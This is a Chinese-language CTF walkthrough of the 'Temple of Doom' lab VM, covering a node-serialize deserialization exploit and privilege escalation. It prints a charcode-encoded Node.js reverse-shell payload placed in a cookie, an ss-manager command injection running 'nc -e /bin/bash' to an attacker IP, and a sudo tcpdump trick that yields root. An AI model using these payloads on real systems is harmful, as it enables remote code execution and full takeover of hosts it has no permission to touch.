nmap掃描先

只有兩埠開放，訪問666埠，

嘗試dirsearch 和 dirb

發現都報錯沒有結果，嘗試重新整理瀏覽器時發現網頁會報錯，

確定這個不是機器故障，應該是作者故意做的，那麼繼續尋找線索，最終發現cookie處存線上索

沒有發現明顯線索，但是仔細看發現Expires=":Friday處好像有問題，不應該有冒號了還有等於，結合網頁的報錯提示在79位置處存在問題，確定可能就是這兒的問題了，
嘗試刪除=號並補全雙引號，base64重新編碼傳送

但是在dirsearch和dirb中新增cookie重新掃描後仍會報錯中斷，中斷。
後參考文章後發現考察的是node-serialize反序列化知識

使用https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py 生成pauload
替換掉下劃線部分並base64編碼即可

{"username":"Admin","csrftoken":"whatever","Expires":"Friday, 13 Oct 2018 00:00:00 GMT","naughtydog":"_$$ND_FUNC$$_eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,46,49,48,53,34,59,10,80,79,82,84,61,34,52,52,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))"}
 

nc偵聽即可獲取shell

提權：

python -c 'import("pty").spawn("/bin/bash")'
本機啟動http服務方便傳輸提權指令碼工具
Python3 -m http.server 80

反彈的shell上執行

然而發現並沒有啥可利用的資訊 後根據這篇文章發現存在ss-manager可利用
https://resources.infosecinstitute.com/temple-of-doom-1-ctf-walkthrough-part-2/

add: {"server_port":8005, "password":"test", "method":"||nc -nv 192.168.2.105 4444 -e /bin/bash||"}

Sudo -l後發現有tcpdump可利用

echo "nc -nv 192.168.2.105 4444 -e /bin/bash "> shell.sh
chmod +x shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
即可獲得root

總結：
考察了nodejs反序列化、ss-manager漏洞利用
難度蠻大

https://ohexfortyone.com/2018/07/temple-of-doom-1-boot-to-root-vm-walkthrough.html
https://resources.infosecinstitute.com/temple-of-doom-1-ctf-walkthrough-part-2/
https://blog.websecurify.com/2017/02/hacking-node-serialize.html
https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py